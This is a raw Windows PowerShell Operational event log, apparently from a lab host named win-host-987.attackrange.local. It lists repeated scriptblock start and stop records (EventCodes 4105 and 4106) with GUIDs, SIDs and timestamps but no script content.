LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988039 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988038 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988037 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988036 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988035 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:25 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988034 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988053 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988052 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988051 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988050 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988049 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988048 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988047 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988046 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988045 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988044 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988063 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988062 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988061 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988060 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988059 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988058 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988057 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988056 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988055 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988054 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988073 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988072 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988071 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988070 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988069 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988068 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988067 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988066 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988065 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988064 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988083 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988082 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988081 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988080 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988079 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988078 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988077 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988076 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988075 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988074 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988093 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988092 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988091 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988090 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988089 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988088 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988087 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988086 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988085 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:07:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988084 Keywords=None Message=Started invocation of ScriptBlock ID: 